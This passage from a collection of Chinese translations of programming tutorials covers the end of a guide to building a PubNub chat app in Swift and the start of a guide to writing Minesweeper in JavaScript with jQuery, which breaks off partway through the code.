ChannelVC.swift，并创建名为 leaveChannel，UIBarButtonItem 类型的 action。将 UITableView 拖到 ChannelVC 视图中。使其占据屏幕的大部分空间，但需要流出空间放置另一个 TextField 和一个带有文本 Send 的按钮。创建它们。\n\n在 ChannelVC.swift 中为 table 和 TextField 创建 outlet，并为发送按钮添加另一个 action。\n\n我们的下一步不涉及我们的 ChannelVC，而是在我们的 table 内创建自定义单元格。一旦我们得到 ChannelVC 设置的总体布局，我们就必须在 tableView 中自定义单元格。创建一个新的 cocoa touch 类并且命名为 MessageCell，并将 UITableViewCell 拖到表视图中。将该 cell 类设置为新类，并将标识符更改为 MessageCell。\n\n拖动任何东西来完成你想要的设计和需要的任何细节。我们将用户名和消息标签放入 cell 中，完成之后，按住 Ctrl 键拖动即可为 MessageCell 类创建 outlet。确保设置样式约束，以便表格不会压缩你的内容。\n\n**有关使你的应用程序适用于所有屏幕尺寸的更多信息，请参阅 [Apple 关于自动布局的文档](https://developer.apple.com/library/archive/documentation/UserExperience/Conceptual/AutolayoutPG/index.html)或者查阅众多的在线指南。**\n\n现在我们得到很多不错的 view 视图，但它们之间无法进行自由切换。单击 ConnectVC 上方有其名称的栏，然后单击黄色圆圈。按住 Control 键并将其拖动到导航控制器并选择 show 选项。选择导航控制器，单击右侧面板上的属性选项卡，其顶部显示“Storyboard Segue”。将标识符命名为“connectSegue”。当你单击 ConnectVC 上的连接按钮时，就可以执行这个 Segue 了。\n\n我们需要的下一个也是最后一个任务是将我们从 ChannelVC 导航到 ConnectVC。选择 ChannelVC 的方式与 ConnectVC 相同，并将其拖到 ConnectVC。这次选择“Present Modally”并在属性检查器中将其命名为“leaveChannelSegue”。\n\n![PubBub 聊天程序的 Xode Storyboard](https://www.pubnub.com/wp-content/uploads/2019/04/xcode-storyboard-screenshot-chat-pubnub.png)\n\n## 编码：ConnectVC\n\n现在我们已经完成了 storyboard，让我们开始编码。我们将从 ConnectVC 开始，它为我们的 ChannelVC 提供用户名和频道，我们将利用我们所有的 PubNub 知识。首先，在我们的连接操作中执行 segue。\n\n```swift\n@IBAction func connectToChannel(_ sender: UIButton) {\n    self.performSegue(withIdentifier: \"connectSegue\", sender: self)\n}\n```\n\n这利用了我们在上一节中制作的 connectSegue，它将我们导航到了 ChannelVC 的导航控制器。我们在这个视图控制器中唯一需要做的就是为上面的 segue 做准备。通过重写这个功能，我们可以在视图之间发送信息。\n\n**注意：在本教程中，如果用户未提供用户名，我会自动为其分配用户名“A Naughty Moose”。如果他们没有提供频道，我会将他们发送到频道“General”。**\n\n为了访问我们想要访问的视图，我们需要获得导航控制器的实例，然后从那里获取我们的 ChannelVC 视图。我们检查文本字段是否为空，如果需要则替换值，然后使用我们的用户名和频道在 ChannelVC 中设置两个我们尚未创建的变量。\n\n```swift\noverride func prepare(for segue: UIStoryboardSegue, sender: Any?) {\n\n    // 访问导航控制器和 ChannelVC 视图\n    if let navigationController = segue.destination as? UINavigationController,\n        let channelVC = navigationController.viewControllers.first as? ChannelVC{\n        var username = \"\"\n        var channel = \"\"\n\n        // 下面的空字符串替换成一个你需要的默认值\n        if(usernameTextField.text == \"\" ){\n            username = \"A Naughty Moose\"\n        }\n        else{\n            username = usernameTextField.text ?? \"A Naughty Moose\"\n        }\n        if(channelTextField.text == \"\" ){\n            print(\"nothing in channel\")\n            channel = \"General\"\n        }\n        else{\n            channel = channelTextField.text ?? \"General\"\n        }\n\n        // 设置 ChannelVC 的变量值\n        channelVC.username = username\n        channelVC.channelName = channel\n    }\n}\n```\n\n## 编码：ChannelVC\n\n在我们的 ChannelVC 中，我们应该有两个 outlet，一个 action，另一个是我们的 viewDidLoad 函数。最重要的是，在类定义下，我们将开始为类的其余部分定义一些我们需要的变量和资源。\n\n首先，让我们的类监听 PubNub 事件并使其与我们的 table 一起工作。在文件顶部引入 PubNub，在我们的类定义中的 UIViewController 写入 PNObjectEventListener、UITableViewDataSource 和 UITableViewDelegate 之后。我们的类现在应该显示错误，单击错误并添加建议的那些类，这样进行引入比较便捷。\n\n* 在我们的类定义下，让我们定义一个结构，使得处理我们的消息更容易一些。我的结构有三个字符串：消息，用户名和 UUID。稍后当我们发布消息时，你可以发送不同的信息并使用这些来更新结构。\n* 之后，创建一个 Message 数组并将其初始化为空，因为所有类变量都需要具有某种初始值。\n* 为我们最早收到的消息创建一个 NSNumber 类型的标记，并设置标记的初始值为 -1。\n* 另一个变量，用于跟踪我们是否已开始加载更多消息。\n* 现在，对于这个视图控制器来说，最重要的、用于发布和订阅的变量，是我们将在此视图控制器中调用 PubNub 函数的对象。\n* 然后我们得到用户在最后一步中输入的用户名和频道，并使用临时值进行初始化。\n* 之后应该是我们的消息文本字段，我们的 tableView，以及我们的发送 action。\n\n```swift\nclass ChannelVC: UIViewController,PNObjectEventListener, UITableViewDataSource, UITableViewDelegate {\n\n    // 我们的消息结构体，可以让消息的处理更方便\n    struct Message {\n        var message: String\n        var username: String\n        var uuid: String\n    }\n    var messages: [Message] = []\n\n    // 跟踪我们加载的最早的一条消息\n    var earliestMessageTime: NSNumber = -1\n\n    // 来跟踪我们是否已经加载了更多消息\n    var loadingMore = false\n\n    // 我们使用 PubNub 对象来发布，订阅和获取我们频道的内容\n    var client: PubNub!\n\n    // 临时值\n    var channelName = \"Channel Name\"\n    var username = \"Username\"\n\n    //-- 应该已经存在在你的文件里面了\n    // 消息入口\n    @IBOutlet weak var messageTextField: UITextField!\n\n    // 我们用来自 messages 数组的信息填充了这个 View\n    @IBOutlet weak var tableView: UITableView!\n\n    //...\n\n}\n```\n\n我们已经建立了一些可以在整个代码中使用的全局变量，接下来，让我们设置 viewDidLoad 函数。在调用继承的 viewDidLoad 之后，将导航控制器顶部的标题更改为频道名称，并将 table view 的 delegate 数据源设置为 self。\n\n```swift\nself.navigationController?.navigationBar.topItem?.title = channelName\n\ntableView.delegate = self\ntableView.dataSource = self\n```\n\n接下来，我们配置并初始化我们的 PubNub 对象。你可以在此处插入 PubNub 帐户中的发布和订阅密钥。我们将 stripMobilePayload 设置为 false，因为它已弃用，并为此连接提供唯一的 UUID，这使我们在将来更容易开发更多功能。接着初始化它，将它设置为监听器，并订阅用户选择的频道。然后我们调用将在下一步创建的方法 loadLastMessages。\n\n```swift\n// 设置我们的 PubNub 对象！\nlet configuration = PNConfiguration(publishKey: \"INSERT PUBLISH KEY\", subscribeKey: \"INSERT SUBSCRIBE KEY\")\n// 删除已经弃用的警告\nconfiguration.stripMobilePayload = false\n// 给每个连接设置标志以供将来进行开发\nconfiguration.uuid = UUID().uuidString\nclient = PubNub.clientWithConfiguration(configuration)\nclient.addListener(self)\nclient.subscribeToChannels([channelName],withPresence: true)\n\n// 我们加载最后的消息来填充 tableview\nloadLastMessages()\n```\n\n现在应该有一个 error，说我们在 viewDidLoad 末尾调用的函数是未定义的，所以让我们定义它！此功能用于在连接到通道时加载初始消息。它利用我们即将创建的，名为 addHistory 的另一个函数。\n\n让我们调用下一个函数，使用 nil 作为开始和结束，然后设置你想要接收的消息的数量，最多为 100。我们在函数内部的最后一个操作是将我们的 table view 向下滚动到表格底部的新消息。\n\n```swift\n// 当这个视图初始化加载来填充 tableview 的时候，将调用此函数\nfunc loadLastMessages()\n{\n    addHistory(start: nil, end: nil, limit: 10)\n    // 将 tableview 滚动到最新消息的底部\n    if(!self.messages.isEmpty){\n        let indexPath = IndexPath(row: self.messages.count-1, section: 0)\n        self.tableView.scrollToRow(at: indexPath, at: .bottom, animated: true)\n    }\n}\n```\n\n### 存储和回放历史消息\n\n现在，我们可以通过这个功能回顾我们频道的历史记录。使用一些关键参数创建它，只有 limit 参数是必须的，然后调用函数就可以允许我们查看频道历史记录了。\n\n我们使用具有许多重载版本的函数 historyForChannel。我们可以使用返回最后 100 条消息的简单消息或者接收开始和结束时间的消息，这两种方法都由 PNHistoryResultBlock 处理，这允许我们访问查询结果和 error。\n\n首先，让我们检查结果是否为非空，如果是，我们就可以开始访问消息了！一旦我们知道我们的消息至少包含某些内容，我们就可以开始访问它们。我们需要使用我们在结果中收到的最早消息来更新我们的 earlistMessage 开始时间。接下来将我们返回的对象转换为我们可以使用的对象，一个键值为 String 类型的数组。\n\n我们可以从这个新对象创建一个 Message 对象，将它们添加到一个临时数组中，然后将它插入到我们的全局消息数组的开头而不是每次都去费力地直接访问这些对象。确保重新加载表格然后检查错误！\n\n```swift\n// 获取并且将频道的历史消息放入到 messages 数组中\nfunc addHistory(start:NSNumber?,end:NSNumber?,limit:UInt){\n    // PubNub 函数，它返回 X 消息的对象，然后发送第一个和最后一个消息的时间\n    // limit 是接收的消息数量，最大值为 100，默认值为 100\n    client.historyForChannel(channelName, start: start, end: end, limit:limit){ (result, status) in\n        if(result != nil && status == nil){\n\n            // 当我们想要加载更多的时候，我们会保存最早发送的消息的时间，以便获取之前的消息。\n            self.earliestMessageTime = result!.data.start\n\n            // 将我们获得的 [Any] 包转换为 String 和 Any 的 dictionary\n            let messageDict = result!.data.messages as! [[String:String]]\n\n            // 从中创建新的消息并且将它们放在消息数组的末尾\n            var newMessages :[Message] = []\n            for m in messageDict{\n                let message = Message(message: m[\"message\"]! , username: m[\"username\"]!, uuid: m[\"uuid\"]! )\n                newMessages.append(message)\n            }\n            self.messages.insert(contentsOf: newMessages, at: 0)\n            // 使用新的消息重新加载 tableview，并且将 tableview 向下滚动到最新消息的底部\n            self.tableView.reloadData()\n\n            // 确保在加载完成之前，我们无法尝试重新加载更多数据\n            self.loadingMore = false\n        }\n        else if(status !=  nil){\n            print(status!.category)\n\n        }\n        else{\n            print(\"everything is nil whaaat\")\n        }\n    }\n}\n```\n\n接下来，让我们填写 tableView 所需的函数。第一个，numberOfRowsInSection 是一个简单的单行函数，返回数组中的消息数。第二个函数，我们首先需要获取消息 cell 的实例，并将 cell 标签的文本设置为消息和消息数组索引的用户名。然后，直接返回 cell 就可以了！\n\n```swift\n// 需要 tableview 函数\nfunc tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n    // 后面修改\n    return messages.count\n}\n\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n    let cell = tableView.dequeueReusableCell(withIdentifier: \"MessageCell\") as! MessageCell\n\n    cell.messageLabel.text = messages[indexPath.row].message\n    cell.usernameLabel.text = messages[indexPath.row].username\n\n\n    return cell\n}\n```\n\n在 Swift 中使用和调试 PubNub 最重要的部分之一就是为事件和消息创建监听器。在这个应用程序中，我们使用函数 didRecieveMessage，这个函数允许我们访问进入到我们频道的消息。此函数内部的逻辑就是我们的 loadLastMessages 函数的精简版本。\n\n检查进来的消息是否与我们订阅的频道匹配，以防我们订阅到其他频道的内容。获取我们给出的消息，并将其转换为键值类型为 String 的数组。使用该 dictionary 创建消息并将其绑定到消息数组的末尾。\n\n再次重新加载数据，然后向下滚动到新消息。可以根据你想要的实现更改这个操作。我在控制台中打印消息以便进行调试。\n\n```swift\nfunc client(_ client: PubNub, didReceiveMessage message: PNMessageResult) {\n    // 每当我们收到一条新的消息时，我们都会将它添加到我们消息数组的末尾\n    // 重新加载 table，以便消息展示在底部\n\n    if(channelName == message.data.channel)\n    {\n        let m = message.data.message as! [String:String]\n        self.messages.append(Message(message: m[\"message\"]!, username: m[\"username\"]!, uuid: m[\"uuid\"]!))\n        tableView.reloadData()\n\n\n        let indexPath = IndexPath(row: messages.count-1, section: 0)\n        tableView.scrollToRow(at: indexPath, at: .bottom, animated: false)\n\n    }\n\n    print(\"Received message in Channel:\",message.data.message!)\n}\n```\n\n现在我们可以在第一次打开频道时加载一些历史消息，当发送新消息时，它们会显示在底部。\n\n如果有比我们最初加载的消息更多的消息怎么办？在这个新函数 scrollViewDidScroll 中，当我们从顶部向下拉时，我们从 historyForChannel 中提取了另外一些消息。这个函数也可以修改，以便当用户没有到达页面顶部时，它可以进行预加载，来帮助实现一个无限滚动的效果。\n\n我们有一个名为 loadingMore 的全局变量，我们在开始时检查是否已经加载了更多消息，然后检查用户是否滚动超过某个阈值来开始加载更多消息。值得庆幸的是，使用 PubNub 非常快，所以几乎可以立即加载。一旦真的有更多历史消息，我们将 loadingMore 设置为 true 并开始调用我们的 addHistory 函数，将 earliestMessageTime 作为开始，将 nil 作为结束，可以根据你的需求来设置 limit，尽管返回消息的最大值是 100。\n\n```swift\n// 这个方法允许用户通过从顶部向下拖动来查询更多消息\nfunc scrollViewDidScroll(_ scrollView: UIScrollView){\n    //If we are not loading more messages already\n    if(!loadingMore){\n\n        // 当从消息顶部向下拖动超过 -40 的时候\n        if(scrollView.contentOffset.y < -40 ) {\n            loadingMore = true\n            addHistory(start: earliestMessageTime, end: nil, limit: 10)\n        }\n    }\n\n}\n```\n\n我们现在需要在单击“发送”按钮时发布消息。为此，让我们创建一个函数来发送 messageTextField 中的消息。首先，我们检查 messageTextField 是否为空，如果是，则进行处理，然后创一个 dictionary 用于包含你要发送的消息信息，之后在 PubNub 对象上使用简单发布功能。\n\n这个函数接收多种类型的变量和对象作为消息和频道名称发送。你也可以在回调中包含一个处理程序，以根据状态代码执行某些操作。之后，调用我们刚刚在 sendMessage  操作中创建的函数。\n\n```swift\nfunc publishMessage() {\n    if(messageTextField.text != \"\" || messageTextField.text != nil){\n        let messageString: String = messageTextField.text!\n        let messageObject : [String:Any] =\n            [\n                \"message\" : messageString,\n                \"username\" : username,\n                \"uuid\": client.uuid()\n        ]\n\n        client.publish(messageObject, toChannel: channelName) { (status) in\n            print(status.data.information)\n        }\n        messageTextField.text = \"\"\n    }\n\n}\n\n// 单击发送按钮的时候，将会发送消息\n@IBAction func sendMessage(_ sender: UIButton) {\n    publishMessage()\n}\n```\n\n为了使我们的应用程序完全正常工作，我们需要能够离开频道并返回 ConnectVC。我们已经有了这个功能，我们只需要填写它。取消订阅客户订阅的所有频道，然后执行我们最初创建的“leaveChannelSegue”。\n\n```swift\nclient.unsubscribeFromAll()\nself.performSegue(withIdentifier: \"leaveChannelSegue\", sender: self)\n```\n\n## 运行 App\n\n让我们来运行一下这个应用程序！\n\n![PubNub Swift 聊天应用程序](https://www.pubnub.com/wp-content/uploads/2019/04/pubnub-swift-chat.gif)\n\n我们现在拥有了基本的聊天功能。用户可以实时发送和接收消息，并且历史消息可以被存储一段时间。\n\n[这个项目完整的 Github 仓库在这里](https://github.com/SambaDialloB/PubNubChat)\n\nPubNub 提供每个月一百万条免费的消息。这里有 [PubNub Swift SDK 文档](https://www.pubnub.com/docs/swift/pubnub-swift-sdk)，以及其他 [75+ PubNub 客户端 SDKs。](https://www.pubnub.com/developers/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-minesweeper-with-javascript.md",
    "content": "> * 原文地址：[How To Build Minesweeper With JavaScript](https://mitchum.blog/how-to-build-minesweeper-with-javascript/)\n> * 原文作者：[Mitchum](https://mitchum.blog/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-minesweeper-with-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-minesweeper-with-javascript.md)\n> * 译者：[ZavierTang](https://github.com/zaviertang)\n> * 校对者：[Stevens1995](https://github.com/Stevens1995)、[githubmnume](https://github.com/githubmnume)\n\n# 如何用 JavaScript 编写扫雷游戏\n\n![](https://i1.wp.com/mitchum.blog/wp-content/uploads/2019/07/featureimage.png?w=600&ssl=1)\n\n在我的上一篇文章中，我向大家介绍了一款使用 JavaScript 编写的[三连棋游戏](https://mitchum.blog/i-built-tic-tac-toe-with-javascript/)，在那之前我也编写了一款[匹配游戏](https://mitchum.blog/i-built-a-simple-matching-game-with-javascript/)。本周，我决定增加一些复杂性。你们将学习如何用 JavaScript 编写扫雷游戏。我使用了 jQuery，这是一个有助于与 HTML 交互的 JavaScript 库。当你看到一个函数的调用带有一个前导的美元（`$`）符号时，这就是 jQuery 的操作。如果你想了解更多关于 jQuery 的内容，阅读[官方文档](https://api.jquery.com/)是最佳的选择。\n\n[点击](https://mitchum.blog/games/minesweeper/minesweeper.html)试玩扫雷游戏！这款游戏推荐在台式电脑上体验，因为这样更便于操作。\n\n下面是创建这个游戏所需的三个文件：\n\n* [HTML](http://mitchum.blog/games/minesweeper/minesweeper.html)\n* [CSS](http://mitchum.blog/games/minesweeper/minesweeper.css)\n* [JavaScript](http://mitchum.blog/games/minesweeper/minesweeper.js)\n\n如果你想学习如何使用 JavaScript 编写扫雷游戏，第一步便是要理解游戏是如何工作的。让我们直接从游戏规则开始吧。\n\n## 游戏规则\n\n1. 扫雷的面板是一个 10×10 的正方形。我们可以将它设置成其他大小，比如经典的 Windows 版本，但是为了演示，我们将使用较小的”入门级”版本。\n2. 面板上有固定数量随机放置的地雷，玩家将看不到它们。\n3. 每个单元格处于两种状态之一：打开或关闭。单击一个单元格将打开它。如果有地雷潜伏在那里，游戏就会以失败告终。如果单元格中没有地雷，但是相邻的一个或多个单元格中有地雷，则打开的单元格显示相邻单元格的地雷数。当相邻的单元格中没有一个是地雷时，这些单元格会自动打开。\n4. 右键单击一个单元格将给它标记一个小旗。小旗表示玩家已经知道在那里潜伏着地雷。\n5. 在单击处于打开状态的单元格的同时按住 ctrl 键会有一些稍微复杂的规则。如果包围该单元格的标志的数量与其邻的地雷数相匹配，并且每个标记的单元格实际上真的是一个地雷，那么所有处于关闭状态并且未标记的相邻单元格都会自动打开。然而，如果其中的一个标记被放置在错误的单元格上，游戏将以失败告终。\n6. 如果玩家打开了所有没有潜伏地雷的单元格，便将赢得游戏。\n\n## 数据结构\n\n### Cell\n\n```js\n// 表示单元格的 JavaScript 代码：\nfunction Cell( row, column, opened, flagged, mined, neighborMineCount ) \n{\n\treturn {\n\t\tid: row + \"\" + column,\n\t\trow: row,\n\t\tcolumn: column,\t\n\t\topened: opened,\n\t\tflagged: flagged,\n\t\tmined: mined,\n\t\tneighborMineCount: neighborMineCount\n\t}\n}\n```\n\n每个单元格都是一个对象，包含以下属性：\n\n- **id**：包含行和列的字符串。作为唯一标识符使得在需要的时候更容易快速找到单元格。如果你仔细观察，你会注意到我使用了一些与 `id` 相关的快捷方法。我可以使用这些快捷方法，因为扫雷游戏的面板较小，但这些代码也不会考虑扩展到更大的游戏面板上。如果你发现了，请在评论中指出来！\n- **row**：表示单元格在游戏面板中的水平位置的整数。\n- **column**：表示单元格在游戏面板中的垂直位置的整数。\n- **opened**：这是一个布尔值，表示单元格是否处于打开状态。\n- **flagged**：另一个布尔值，表示单元格是否被标记。\n- **mined**：也是一个布尔值，表示是否在单元格上放置了地雷。\n- **neighborMineCount**：一个整数，表示包含地雷的相邻单元格的个数。\n\n### Board\n\n```js\n// 表示游戏面板的 JavaScript 代码：\nfunction Board( boardSize, mineCount )\n{\n\tvar board = {};\n\tfor( var row = 0; row < boardSize; row++ )\n\t{\n\t\tfor( var column = 0; column < boardSize; column++ )\n\t\t{\n\t\t\tboard[row + \"\" + column] = Cell( row, column, false, false, false, 0 );\n\t\t}\n\t}\n\tboard = randomlyAssignMines( board, mineCount );\n\tboard = calculateNeighborMineCounts( board, boardSize );\n\treturn board;\n}\n```\n\n我们的游戏面板是由单元格组成的集合。我们可以用许多不同的方式来代表我们的游戏面板。我选择将它表示为键值对形式的对象。正如我们前面看到的，每个单元格都有一个 `id` 用来作为键。游戏面板是这些唯一键和它们对应的单元格之间的映射。\n\n在创建了游戏面板之后，我们还需要完成另外两项任务：随机放置地雷并计算邻近的地雷数量。我们将在下一节详细讨论这些任务。\n\n## 算法\n\n### 随机放置地雷\n\n```js\n// 随机放置地雷的 JavaScript 代码。\nvar randomlyAssignMines = function( board, mineCount )\n{\n\tvar mineCooridinates = [];\n\tfor( var i = 0; i < mineCount; i++ )\n\t{\n\t\tvar randomRowCoordinate = getRandomInteger( 0, boardSize );\n\t\tvar randomColumnCoordinate = getRandomInteger( 0, boardSize );\n\t\tvar cell = randomRowCoordinate + \"\" + randomColumnCoordinate;\n\t\twhile( mineCooridinates.includes( cell ) )\n\t\t{\n\t\t\trandomRowCoordinate = getRandomInteger( 0, boardSize );\n\t\t\trandomColumnCoordinate = getRandomInteger( 0, boardSize );\n\t\t\tcell = randomRowCoordinate + \"\" + randomColumnCoordinate;\n\t\t}\n\t\tmineCooridinates.push( cell );\n\t\tboard[cell].mined = true;\n\t}\n\treturn board;\n}\n```\n\n在扫雷游戏开始之前，我们要做的第一件事就是将地雷随机放置到单元格。为此，我创建了一个函数，该函数接收游戏面板对象（`board`）和所需的地雷计数（`mineCount`）作为参数。\n\n对于我们要放置的每一个地雷，我们生成随机的行和列。此外，相同的行和列组合不应该重复出现。否则，我们的地雷将少于我们所期望的数目。如果出现重复，则必须重新随机生成。\n\n当生成每个随机单元格坐标时，我们将对应单元格的 `mined` 属性设置为 `true`。\n\n我创建了一个辅助函数，用来生成在我们预期范围内的随机数。如下：\n\n```js\n// 用来生成随机数的辅助函数：\nvar getRandomInteger = function( min, max )\n{\n\treturn Math.floor( Math.random() * ( max - min ) ) + min;\n}\n```\n\n### 计算相邻地雷的数量\n\n```js\n// 计算相邻地雷数的 JavaScript 代码：\nvar calculateNeighborMineCounts = function( board, boardSize )\n{\n\tvar cell;\n\tvar neighborMineCount = 0;\n\tfor( var row = 0; row < boardSize; row++ )\n\t{\n\t\tfor( var column = 0; column < boardSize; column++ )\n\t\t{\n\t\t\tvar id = row + \"\" + column;\n\t\t\tcell = board[id];\n\t\t\tif( !cell.mined )\n\t\t\t{\n\t\t\t\tvar neighbors = getNeighbors( id );\n\t\t\t\tneighborMineCount = 0;\n\t\t\t\tfor( var i = 0; i < neighbors.length; i++ )\n\t\t\t\t{\n\t\t\t\t\tneighborMineCount += isMined( board, neighbors[i] );\n\t\t\t\t}\n\t\t\t\tcell.neighborMineCount = neighborMineCount;\n\t\t\t}\n\t\t}\n\t}\n\treturn board;\n}\n```\n\n现在让我们看看如何计算相邻单元格的地雷数。\n\n你会注意到，我们循环遍历了游戏面板上的每一行和每一列，这是一种非常常见的方式。这样我们可以每个单元格上执行相同的处理。\n\n我们首先检查每个单元格是否放置了地雷。如果是，则不需要检查相邻的地雷数。毕竟，如果玩家点击了它，他/她将会输掉游戏\n\n如果单元格没有被放置地雷，那么我们需要看看它周围有多少地雷。我们要做的第一件事是调用 `getNeighbors` 辅助函数，它返回相邻单元格的 `id` 列表。然后我们循环遍历这个列表，累计地雷的数量，并更新单元格的 `neighborMineCount` 属性。\n\n##### 获取相邻的单元格\n\n让我们仔细看看 `getNeighbors` 函数，因为在整个代码中它将被多次调用。我之前提到过，我的一些设计方式是因为不用扩展到更大的游戏面板上。这里也是如此：\n\n```js\n// 用于获取扫雷车单元格的所有相邻 id 的 JavaScript 代码：\nvar getNeighbors = function( id )\n{\n\tvar row = parseInt(id[0]);\n\tvar column = parseInt(id[1]);\n\tvar neighbors = [];\n\tneighbors.push( (row - 1) + \"\" + (column - 1) );\n\tneighbors.push( (row - 1) + \"\" + column );\n\tneighbors.push( (row - 1) + \"\" + (column + 1) );\n\tneighbors.push( row + \"\" + (column - 1) );\n\tneighbors.push( row + \"\" + (column + 1) );\n\tneighbors.push( (row + 1) + \"\" + (column - 1) );\n\tneighbors.push( (row + 1) + \"\" + column );\n\tneighbors.push( (row + 1) + \"\" + (column + 1) );\n\n\tfor( var i = 0; i < neighbors.length; i++)\n\t{ \n\t   if ( neighbors[i].length > 2 ) \n\t   {\n\t      neighbors.splice(i, 1); \n\t      i--;\n\t   }\n\t}\n\n\treturn neighbors\n}\n```\n\n该函数接收单元格 `id` 作为参数。然后我们马上把它分成两部分这样我们就有了行和列的值。我们使用内置函数 `parseInt` 将字符串转换为整数。现在我们可以对它们进行数学运算了。\n\n接下来，我们使用行和列计算每个相邻单元格的 `id`，并将它们加入列表。在处理情况之前，列表中应该包含 8 个 `id`。\n\n![](https://i1.wp.com/mitchum.blog/wp-content/uploads/2019/07/neighborsexample.png?w=740&ssl=1)\n\n一个单元格和它相邻的单元格。\n\n虽然这对于一般情况是没问题的，但是有一些特殊的情况我们需要考虑。也就是游戏面板边界的单元格。这些单元格的相邻单元格数量会少于 8 个。\n\n为了解决这个问题，我们循环遍历相邻单元格的 `id`，并删除长度大于 2 的 `id`。所有无效的相邻单元格行或者列可能是 -1 或 10，所以很巧妙地解决了这个问题。\n\n每当从列表中删除 `id` 时，为了保持它同步，我们还必须减少索引变量。\n\n##### 判断地雷\n\n好的，我们在这一节还有最后一个函数要讨论：`isMined`。\n\n```js\n// 检查单元格是否是地雷的 JavaScript 函数：\nvar isMined = function( board, id )\n{\t\n\tvar cell = board[id];\n\tvar mined = 0;\n\tif( typeof cell !== 'undefined' )\n\t{\n\t\tmined = cell.mined ? 1 : 0;\n\t}\n\treturn mined;\n}\n```\n\n`isMined` 函数非常简单。它只是检查单元格是否是地雷。如果是，则返回 1；否则，返回 0。这个特性允许我们在循环中反复调用函数时，对函数的返回值进行累加。\n\n这就完成了设置扫雷游戏面板的算法。让我们进入真正的游戏吧！\n\n### 翻开单元格\n\n```js\n// 当单元格被翻开时执行的 JavaScript 代码：\nvar handleClick = function( id )\n{\n\tif( !gameOver )\n\t{\n\t\tif( ctrlIsPressed )\n\t\t{\n\t\t\thandleCtrlClick( id );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvar cell = board[id];\n\t\t\tvar $cell = $( '#' + id );\n\t\t\tif( !cell.opened )\n\t\t\t{\n\t\t\t\tif( !cell.flagged )\n\t\t\t\t{\n\t\t\t\t\tif( cell.mined )\n\t\t\t\t\t{\n\t\t\t\t\t\tloss();\t\t\n\t\t\t\t\t\t$cell.html( MINE ).css( 'color', 'red');\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tcell.opened = true;\n\t\t\t\t\t\tif( cell.neighborMineCount > 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar color = getNumberColor( cell.neighborMineCount );\n\t\t\t\t\t\t\t$cell.html( cell.neighborMineCount ).css( 'color', color );\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$cell.html( \"\" )\n\t\t\t\t\t\t\t\t .css( 'background-image', 'radial-gradient(#e6e6e6,#c9c7c7)');\n\t\t\t\t\t\t\tvar neighbors = getNeighbors( id );\n\t\t\t\t\t\t\tfor( var i = 0; i < neighbors.length; i++ )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar neighbor = neighbors[i];\n\t\t\t\t\t\t\t\tif(  typeof board[neighbor] !== 'undefined' &&\n\t\t\t\t\t\t\t\t\t !board[neighbor].flagged && !board[neighbor].opened )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\thandleClick( neighbor );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n好吧，让我们直接进入这个刺激的操作。每当玩家点击一个单元格时，我们都会执行这个函数。它做了很多工作，还使用了递归。如果你不熟悉这个概念，请参阅以下定义：\n\n**Recursion**：See **recursion**（不停地看）。\n\n哈哈，真是计算机科学界的笑话。如果是在酒吧或咖啡厅这样做总是有趣的。你真的应该在你暗恋的那个可爱的女孩身上试试。\n\n总之，递归函数就是一个调用自身的函数。听起来可能会发生堆栈溢出的问题，对吗？这就是为什么你需要一个不再进行任何后续递归调用的基本条件。我们的函数最终将停止调用自己，因为不再需要打开任何单元格。\n\n在实际项目中，递归很少是正确的选择，但它却是一个很有用的工具。我们本可以不使用递归来编写这段代码，但我想大家可能都想看看它的实际示例。\n\n##### 单击单元格\n\n`handleClick` 函数接收单元格 `id` 作为参数。我们需要处理玩家在单击单元格时同时按下 ctrl 键的情况，但是我们将在后面的部分讨论这个问题。\n\n假设游戏还没有结束，我们正在处理一个基本的左键单击事件，我们需要做一些检查。如果玩家已经翻开或标记了这个单元格，我们应该忽略这次点击事件。因为如果玩家意外地点击一个已经标记过的单元格而导致游戏结束，这将会让玩家感到沮丧。\n\n不满足这两个条件，那么我们将继续。如果在单元格中存在地雷，我们就需要去处理游戏失败的逻辑，并将爆炸的地雷显示为红色。否则，我们将把单元格设置为打开的状态。\n\n如果打开的单元格周围有地雷，我们将以适当的字体颜色向玩家显示邻近的地雷数量。如果单元格周围没有地雷，那么是时候使用递归了。在将单元格的背景颜色设置为稍微暗一点的灰色之后，我们对每个未打开的并且没有被标记的相邻单元格调用 `handleClick`。\n\n##### 辅助函数\n\n让我们来看看 `handleClick` 函数中使用的辅助函数。我们已经讲过 `getNeighbors` 了，所以我们从 `loss` 失函数开始。\n\n```js\n// 当玩家输掉游戏时调用的 JavaScript 代码：\nvar loss = 